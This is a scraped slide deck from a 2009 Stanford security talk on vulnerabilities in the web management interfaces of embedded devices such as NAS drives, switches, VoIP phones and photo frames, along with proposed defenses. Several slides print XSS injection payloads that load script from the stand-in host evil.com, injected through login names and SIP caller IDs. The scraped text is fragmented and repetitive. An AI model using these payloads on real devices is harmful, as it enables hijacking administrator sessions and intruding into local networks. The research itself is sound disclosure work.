Embedded Management Interfaces e t u p m Emerging Massive - - PowerPoint PPT Presentation

▶
embedded management interfaces
SMART_READER_LITE
LIVE PREVIEW

Embedded Management Interfaces e t u p m Emerging Massive - - PowerPoint PPT Presentation

Dec 02, 2022 254 likes •1.86k views

b a L y t i r u c e S r Embedded Management Interfaces e t u p m Emerging Massive Insecurity o C d r o f Hristo Bojinov Elie Bursztein Dan Boneh n a Stanford Computer Security Lab t S Thursday, July 30, 2009

slide-1
SLIDE 1

S t a n f

  • r

d C

  • m

p u t e r S e c u r i t y L a b

Embedded Management Interfaces

Emerging Massive Insecurity

Hristo Bojinov Elie Bursztein Dan Boneh Stanford Computer Security Lab

Thursday, July 30, 2009

slide-2
SLIDE 2

What this talk is about ?

Thursday, July 30, 2009

slide-3
SLIDE 3

What this talk is about ?

  • Massively deployed devices

Thursday, July 30, 2009

slide-4
SLIDE 4

What this talk is about ?

  • Massively deployed devices
  • Embedded web management interface

Thursday, July 30, 2009

slide-5
SLIDE 5

What this talk is about ?

  • Massively deployed devices
  • Embedded web management interface
  • How you can exploit these interfaces

Thursday, July 30, 2009

slide-6
SLIDE 6

What this talk is about ?

  • Massively deployed devices
  • Embedded web management interface
  • How you can exploit these interfaces
  • What we can do about it

Thursday, July 30, 2009

slide-7
SLIDE 7

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

devices?

Thursday, July 30, 2009

slide-8
SLIDE 8

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

devices?

Thursday, July 30, 2009

slide-9
SLIDE 9

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

devices?

Thursday, July 30, 2009

slide-10
SLIDE 10

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

devices?

Thursday, July 30, 2009

slide-11
SLIDE 11

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

devices?

Thursday, July 30, 2009

slide-12
SLIDE 12

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

devices?

Thursday, July 30, 2009

slide-13
SLIDE 13

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

devices?

Thursday, July 30, 2009

slide-14
SLIDE 14

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

devices?

Thursday, July 30, 2009

slide-15
SLIDE 15

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

devices?

Thursday, July 30, 2009

slide-16
SLIDE 16

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Web management interface

Managing embedded devices via a web interface: ✓ Easier for users ✓ Cheaper for vendors

Thursday, July 30, 2009

slide-17
SLIDE 17

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Internet

  • 240M registered domains
  • 72M active domains

Source Netcraft

Thursday, July 30, 2009

slide-18
SLIDE 18

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Web security prominence

Today:

  • top server-side issue
  • top client-side issue

Source: MITRE CVE trends

Source: Sans top 20

%

Thursday, July 30, 2009

slide-19
SLIDE 19

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Web application spectrum

Popular Internet web sites Custom web applications

Security research

# users # of sites

Thursday, July 30, 2009

slide-20
SLIDE 20

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Web application spectrum

Popular Internet web sites Custom web applications

Security research

devices ?

Consumer electronics Network infrastructure

# users # of sites

Thursday, July 30, 2009

slide-21
SLIDE 21

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Embedded device prominence

  • Embedded web applications

are everywhere

  • 100M+ WiFi access points
  • also in millions of

switches, printers, consumer electronics

Source: skyhookwireless San Francisco WiFi access points

Thursday, July 30, 2009

slide-22
SLIDE 22

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Embedded web servers will soon dominate

75 150 225 300 2008 2009 2010 2011 2012 2013 Growth

Internet Embedded (NAS and photo frame only)

Data :

  • Parks associates
  • Netcraft

( M i l l i

  • n

s )

Thursday, July 30, 2009

slide-23
SLIDE 23

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Spectrum revisited

Popular web applications Custom web applications

Security research

# of sites # users

Thursday, July 30, 2009

slide-24
SLIDE 24

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Spectrum revisited

Popular web applications Custom web applications

Security research

devices

# of sites # users

Thursday, July 30, 2009

slide-25
SLIDE 25

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Recipe for a disaster

Vendors build their own web applications

  • Standard web server (sometimes)
  • Custom web application stack
  • Weak web security

New features/services added at a fast pace

  • Vendors compete on number of services in product
  • Interactions between services ➽ vulnerabilities

Thursday, July 30, 2009

slide-26
SLIDE 26

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Some vendors got it right...

  • Kodak 1

Thursday, July 30, 2009

slide-27
SLIDE 27

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

... almost.

Thursday, July 30, 2009

slide-28
SLIDE 28

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

... almost.

Thursday, July 30, 2009

slide-29
SLIDE 29

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

The result

Vulnerabilities in every device we audited

Thursday, July 30, 2009

slide-30
SLIDE 30

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Outline

  • Audit methodology: auditing a zoo of devices
  • Illustrative attacks
  • Defenses and lessons learned

Thursday, July 30, 2009

slide-31
SLIDE 31

S t a n f

  • r

d C

  • m

p u t e r S e c u r i t y L a b

Methodology

Thursday, July 30, 2009

slide-32
SLIDE 32

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Audit methodology

Thursday, July 30, 2009

slide-33
SLIDE 33

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Audit methodology

Brands

Thursday, July 30, 2009

slide-34
SLIDE 34

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Audit methodology

Device types Brands

Thursday, July 30, 2009

slide-35
SLIDE 35

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Audit methodology

Device types Vulnerability types Brands

Thursday, July 30, 2009

slide-36
SLIDE 36

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Overall audit results

Thursday, July 30, 2009

slide-37
SLIDE 37

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Overall audit results

  • 8 categories of devices

Thursday, July 30, 2009

slide-38
SLIDE 38

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Overall audit results

  • 8 categories of devices
  • 16 different brands

Thursday, July 30, 2009

slide-39
SLIDE 39

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Overall audit results

  • 8 categories of devices
  • 16 different brands
  • 23 devices

Thursday, July 30, 2009

slide-40
SLIDE 40

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Overall audit results

  • 8 categories of devices
  • 16 different brands
  • 23 devices
  • 50+ vulnerabilities reported to CERT

Thursday, July 30, 2009

slide-41
SLIDE 41

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Attack types

Popular ones: Cross Site Scripting (XSS) Cross Site Request Forgeries (CSRF)

  • Cross-Channel Scripting (XCS) attacks

File security User authentication

Thursday, July 30, 2009

slide-42
SLIDE 42

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

D-link DNS-323

  • Allows to share files
  • Configured via Web

Stored Cross Site Scripting (XSS) illustrated

Thursday, July 30, 2009

slide-43
SLIDE 43

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Stored XSS illustrated

Web Form Attacker

Fill a http form <script>..</script>

NAS

Thursday, July 30, 2009

slide-44
SLIDE 44

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

file system

Stored XSS illustrated

Web Form Attacker

Fill a http form <script>..</script>

NAS

Thursday, July 30, 2009

slide-45
SLIDE 45

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Web App file system

Stored XSS illustrated

Web Form

reflect into the page: <script>..</script>

Attacker

Fill a http form <script>..</script>

NAS

Thursday, July 30, 2009

slide-46
SLIDE 46

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Web App file system

Stored XSS illustrated

Web Form

reflect into the page: <script>..</script>

Attacker

Fill a http form <script>..</script>

NAS

Thursday, July 30, 2009

slide-47
SLIDE 47

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Attack result

Thursday, July 30, 2009

slide-48
SLIDE 48

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Netgear FS750T2

  • Intelligent switch
  • Configured via Web

Cross Site Request Forgery (CSRF) illustrated

Thursday, July 30, 2009

slide-49
SLIDE 49

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

CSRF illustrated

Thursday, July 30, 2009

slide-50
SLIDE 50

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

CSRF illustrated

1 Administer the switch

Thursday, July 30, 2009

slide-51
SLIDE 51

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

CSRF illustrated

1 Administer the switch

  • 2 Browse the web

Thursday, July 30, 2009

slide-52
SLIDE 52

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

CSRF illustrated

1 Administer the switch

  • 2 Browse the web

3 T r i g g e r P O S T ( e . g . v i a A d s )

Thursday, July 30, 2009

slide-53
SLIDE 53

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

CSRF illustrated

1 Administer the switch

  • 2 Browse the web

3 T r i g g e r P O S T ( e . g . v i a A d s ) 4 Forward the bad post request

Thursday, July 30, 2009

slide-54
SLIDE 54

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

CSRF illustrated

1 Administer the switch

  • 2 Browse the web

3 T r i g g e r P O S T ( e . g . v i a A d s ) 4 Forward the bad post request

Thursday, July 30, 2009

slide-55
SLIDE 55

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

CSRF illustrated

1 Administer the switch

  • 2 Browse the web

3 T r i g g e r P O S T ( e . g . v i a A d s ) 4 Forward the bad post request

Thursday, July 30, 2009

slide-56
SLIDE 56

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

LaCie Ethernet disk mini

  • Share access control
  • Web interface
  • Public FTP

Cross Channel Scripting (XCS) illustrated

Thursday, July 30, 2009

slide-57
SLIDE 57

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

XCS illustrated

FTP server Attacker

upload the file: <script>..</script>.pdf

NAS

Thursday, July 30, 2009

slide-58
SLIDE 58

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

file system

XCS illustrated

FTP server Attacker

upload the file: <script>..</script>.pdf

NAS

Thursday, July 30, 2009

slide-59
SLIDE 59

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Web App file system

XCS illustrated

FTP server

Admin Browser

reflect the filename: <script>..</script>.pdf

Attacker

upload the file: <script>..</script>.pdf

NAS

Thursday, July 30, 2009

slide-60
SLIDE 60

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Web App file system

XCS illustrated

FTP server

reflect the filename: <script>..</script>.pdf

Attacker

upload the file: <script>..</script>.pdf

NAS

Thursday, July 30, 2009

slide-61
SLIDE 61

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Attack result

Thursday, July 30, 2009

slide-62
SLIDE 62

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

XCS: cross-channel scripting

Device attacker User Alternate Channels Web Injection Storage Reflection

Thursday, July 30, 2009

slide-63
SLIDE 63

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Devices as stepping stones

Thursday, July 30, 2009

slide-64
SLIDE 64

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Devices as stepping stones

1 Administer the device

Thursday, July 30, 2009

slide-65
SLIDE 65

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Devices as stepping stones

Internet

1 Administer the device 2 Browse internet

Thursday, July 30, 2009

slide-66
SLIDE 66

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Devices as stepping stones

Internet

1 Administer the device 2 Browse internet 3 T r i g g e r P O S T ( e . g . v i a A d s )

Thursday, July 30, 2009

slide-67
SLIDE 67

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Devices as stepping stones

Internet

2 Browse internet 3 T r i g g e r P O S T ( e . g . v i a A d s ) 4 infect the device

Thursday, July 30, 2009

slide-68
SLIDE 68

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Devices as stepping stones

5 access files

Thursday, July 30, 2009

slide-69
SLIDE 69

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Devices as stepping stones

5 access files 6 Send malicious payload

Thursday, July 30, 2009

slide-70
SLIDE 70

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Devices as stepping stones

5 access files 6 Send malicious payload 7 Attack local network

Thursday, July 30, 2009

slide-71
SLIDE 71

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Devices as stepping stones

5 access files 6 Send malicious payload 7 Attack local network

Thursday, July 30, 2009

slide-72
SLIDE 72

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Brands

Thursday, July 30, 2009

slide-73
SLIDE 73

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Devices

Thursday, July 30, 2009

slide-74
SLIDE 74

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Vulnerabilities by category

Type Num XSS CSRF XCS RXCS File Auth LOM 3 Photo 3 NAS 5 Router 1 IP camera 3 IP phone 1 Switch 4 Printer 3

  • ne vulnerability

many vulnerability

Thursday, July 30, 2009

slide-75
SLIDE 75

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Vulnerabilities by category

Type Num XSS CSRF XCS RXCS File Auth LOM 3 Photo 3 NAS 5 Router 1 IP camera 3 IP phone 1 Switch 4 Printer 3

  • ne vulnerability

many vulnerability

Thursday, July 30, 2009

slide-76
SLIDE 76

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Devices by Brand

Brand Camera LOM NAS Phone Photo Frame Printer Router Switch Allied

  • Buffalo
  • D-Link
  • Dell
  • eStarling
  • HP
  • IBM
  • Intel
  • Kodak
  • LaCie
  • Linksys
  • Netgear
  • Panasonic
  • QNAP
  • Samsung
  • SMC
  • TrendNet
  • Thursday, July 30, 2009
slide-77
SLIDE 77

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Attack surface

  • Confidentiality
  • Integrity
  • Availability
  • Access control
  • Attribution

Thursday, July 30, 2009

slide-78
SLIDE 78

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Attack surface result

Thursday, July 30, 2009

slide-79
SLIDE 79

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Attack surface result

Confidentiality 5 Steal private data

Thursday, July 30, 2009

slide-80
SLIDE 80

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Attack surface result

Confidentiality 5 Steal private data Integrity 22 Reconfigure device

Thursday, July 30, 2009

slide-81
SLIDE 81

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Attack surface result

Confidentiality 5 Steal private data Integrity 22 Reconfigure device Availability 18 Reboot device

Thursday, July 30, 2009

slide-82
SLIDE 82

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Attack surface result

Confidentiality 5 Steal private data Integrity 22 Reconfigure device Availability 18 Reboot device Access control 23 Access files without password

Thursday, July 30, 2009

slide-83
SLIDE 83

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Attack surface result

Confidentiality 5 Steal private data Integrity 22 Reconfigure device Availability 18 Reboot device Access control 23 Access files without password Attribution 22 Don’t log access

Thursday, July 30, 2009

slide-84
SLIDE 84

S t a n f

  • r

d C

  • m

p u t e r S e c u r i t y L a b

Illustrative Attacks

Thursday, July 30, 2009

slide-85
SLIDE 85

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Quick warm-up: LOM LOM basics Log XSS

Login+Log XSS

Thursday, July 30, 2009

slide-86
SLIDE 86

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Login+Log XSS

LOM basics

  • Lights-out recovery, maintenance, inventory tracking
  • PCI card and chipset varieties available
  • Separate NIC and admin login*
  • Low-security default settings
  • Motherboard connection
  • Usually invisible to OS

Thursday, July 30, 2009

slide-87
SLIDE 87

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Login+Log XSS Log XSS

  • Known for a decade
  • Traditionally injected via DNS
  • Also see recent IBM BladeCenter advisory

http://www.cert.fi/en/reports/2009/vulnerability2009029.html

Thursday, July 30, 2009

slide-88
SLIDE 88

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Persistant Log-based XSS

Thursday, July 30, 2009

slide-89
SLIDE 89

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Persistant Log-based XSS

1 Attacker attempts to login as user

");</script><script src="//evil.com/"></script><script>

Thursday, July 30, 2009

slide-90
SLIDE 90

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Persistant Log-based XSS

1 Attacker attempts to login as user

");</script><script src="//evil.com/"></script><script>

2 Admin views syslog

Thursday, July 30, 2009

slide-91
SLIDE 91

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

  • Persistant Log-based XSS

1 Attacker attempts to login as user

");</script><script src="//evil.com/"></script><script>

2 Admin views syslog 3 Payload executes

Thursday, July 30, 2009

slide-92
SLIDE 92

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Login+Log XSS attack result

Thursday, July 30, 2009

slide-93
SLIDE 93

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Moving on to real XCS VoIP phone Photo frame

Cross Channel Scripting (XCS)

Thursday, July 30, 2009

slide-94
SLIDE 94

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

VoIP phone

  • Linksys SPA942
  • Web interface
  • SIP support
  • Call logs

SIP XCS

Thursday, July 30, 2009

slide-95
SLIDE 95

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

SIP XCS

  • Thursday, July 30, 2009
slide-96
SLIDE 96

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

SIP XCS

  • 1 SIP: xyz@mydomain calls abc@thatdomain

Thursday, July 30, 2009

slide-97
SLIDE 97

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

SIP XCS

  • 1 SIP: xyz@mydomain calls abc@thatdomain

2 RTP: carries actual binary data

Thursday, July 30, 2009

slide-98
SLIDE 98

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

SIP XCS

Thursday, July 30, 2009

slide-99
SLIDE 99

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

SIP XCS

1 Attacker makes a call as

“<script src="//evil.com/"></script>”

Thursday, July 30, 2009

slide-100
SLIDE 100

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

2 Administrator accesses web interface

SIP XCS

1 Attacker makes a call as

“<script src="//evil.com/"></script>”

Thursday, July 30, 2009

slide-101
SLIDE 101

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

2 Administrator accesses web interface

SIP XCS

  • 1 Attacker makes a call as

3 Payload executes

“<script src="//evil.com/"></script>”

Thursday, July 30, 2009

slide-102
SLIDE 102

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

SIP XCS attack result

Thursday, July 30, 2009

slide-103
SLIDE 103

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Photo frame sales

Thursday, July 30, 2009

slide-104
SLIDE 104

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

WiFi photo frame

  • Samsung SPF85V
  • RSS / URL feed
  • Windows Live
  • WMV / AVI

Photo frame XCS

Thursday, July 30, 2009

slide-105
SLIDE 105

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Fetch photos from the Internet. Watch movies too.

Photo frame XCS

Thursday, July 30, 2009

slide-106
SLIDE 106

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Fetch photos from the Internet. Watch movies too. Operation

  • Use browser interface to set up
  • You can also see the current photo!
  • Many configuration fields: RSS, URLs, etc...

Photo frame XCS

Thursday, July 30, 2009

slide-107
SLIDE 107

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

  • Photo frame XCS

Thursday, July 30, 2009

slide-108
SLIDE 108

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

  • Photo frame XCS

1 Attacker infects via CSRF

Thursday, July 30, 2009

slide-109
SLIDE 109

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

  • Photo frame XCS

1 Attacker infects via CSRF 2 User connects to manage

Thursday, July 30, 2009

slide-110
SLIDE 110

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

  • Photo frame XCS

1 Attacker infects via CSRF 2 User connects to manage 3 Payload executes

Thursday, July 30, 2009

slide-111
SLIDE 111

Hristo Bojinov Elie Bursztein Dan Boneh Embedded Management Interfaces Emerging Massive Insecurity

Photo frame XCS attack result

Thursday, July 30, 2009

slide-112
SLIDE 112

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Photo frames as stepping stones

  • 1 Frame gets inf

Thursday, July 30, 2009

slide-113
SLIDE 113

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Photo frames as stepping stones

  • 1 Frame gets infected via

grandma’s browser 1 Frame gets inf

Thursday, July 30, 2009

slide-114
SLIDE 114

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Photo frames as stepping stones

  • 1 Frame gets infected via

grandma’s browser 2 Son connects to upload photos 1 Frame gets inf

Thursday, July 30, 2009

slide-115
SLIDE 115

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Photo frames as stepping stones

  • 1 Frame gets infected via

grandma’s browser 2 Son connects to upload photos 1 Frame gets inf 3 Intranet infected

Thursday, July 30, 2009

slide-116
SLIDE 116

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Bonus “feature”:

  • Current photo visible without login

Photo frame XCS

Thursday, July 30, 2009

slide-117
SLIDE 117

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

A vehicle for scams?

eStarling photo frame

  • receive photos via email
  • predictable address

Frame error !

Call us 666-6666

Thursday, July 30, 2009

slide-118
SLIDE 118

S t a n f

  • r

d C

  • m

p u t e r S e c u r i t y L a b

Big Picture

Thursday, July 30, 2009

slide-119
SLIDE 119

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Embedded web servers are everywhere

  • In homes, offices
  • Various types and functions
  • Massive attack surface (in aggregate)
  • Can be use as stepping stones into LAN

Big picture

Thursday, July 30, 2009

slide-120
SLIDE 120

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Security: not a priority so far

  • Single exploits: well known
  • However, the trend is a concern

Big picture

Thursday, July 30, 2009

slide-121
SLIDE 121

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Security: not a priority so far

  • Single exploits: well known
  • However, the trend is a concern
  • Rise of multi-protocol devices: XCS
  • Rise of browser-OS: 24x7 exploitability

Big picture

Thursday, July 30, 2009

slide-122
SLIDE 122

S t a n f

  • r

d C

  • m

p u t e r S e c u r i t y L a b

Defenses

Thursday, July 30, 2009

slide-123
SLIDE 123

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Defense approaches

Today

  • Internal audits by IT staff and end-users

Thursday, July 30, 2009

slide-124
SLIDE 124

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Defense approaches

Today

  • Internal audits by IT staff and end-users

Near-term

  • SiteFirewall: IT, browser vendors

Thursday, July 30, 2009

slide-125
SLIDE 125

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Defense approaches

Today

  • Internal audits by IT staff and end-users

Near-term

  • SiteFirewall: IT, browser vendors

Long-term

  • Server-side security gains

Thursday, July 30, 2009

slide-126
SLIDE 126

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

SiteFirewall

Injected script can issue requests at will: <script src=”http://evil.com”> Before

Thursday, July 30, 2009

slide-127
SLIDE 127

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

SiteFirewall

SiteFirewall (a Firefox extension), prevents internal websites from accessing the Internet.

  • Thursday, July 30, 2009
slide-128
SLIDE 128

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

SiteFirewall

SiteFirewall (a Firefox extension), prevents internal websites from accessing the Internet.

  • Thursday, July 30, 2009
slide-129
SLIDE 129

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

SiteFirewall

Page interactions with the Internet blocked. After

Thursday, July 30, 2009

slide-130
SLIDE 130

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Server-side defenses

Difficulties

  • No standard platform to build for
  • Adding insecure features: unavoidable

Thursday, July 30, 2009

slide-131
SLIDE 131

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Server-side defenses

Difficulties

  • No standard platform to build for
  • Adding insecure features: unavoidable

Thursday, July 30, 2009

slide-132
SLIDE 132

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Server-side defenses

Difficulties

  • No standard platform to build for
  • Adding insecure features: unavoidable

Requirements

  • Security is a top priority
  • Performance trade-offs possible
  • Architectural trade-offs: kernel vs. web server

Thursday, July 30, 2009

slide-133
SLIDE 133

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Server-side defenses

Opportunities

  • Use captchas
  • Process sandboxing
  • Data storage and access model

Thursday, July 30, 2009

slide-134
SLIDE 134

Embedded Management Interfaces Emerging Massive Insecurity Hristo Bojinov Elie Bursztein Dan Boneh

Server-side defenses

Opportunities

  • Use captchas
  • Process sandboxing
  • Data storage and access model

Future work: development framework

  • Secure embedded web applications
  • RoR too heavyweight in this context

Thursday, July 30, 2009

slide-135
SLIDE 135

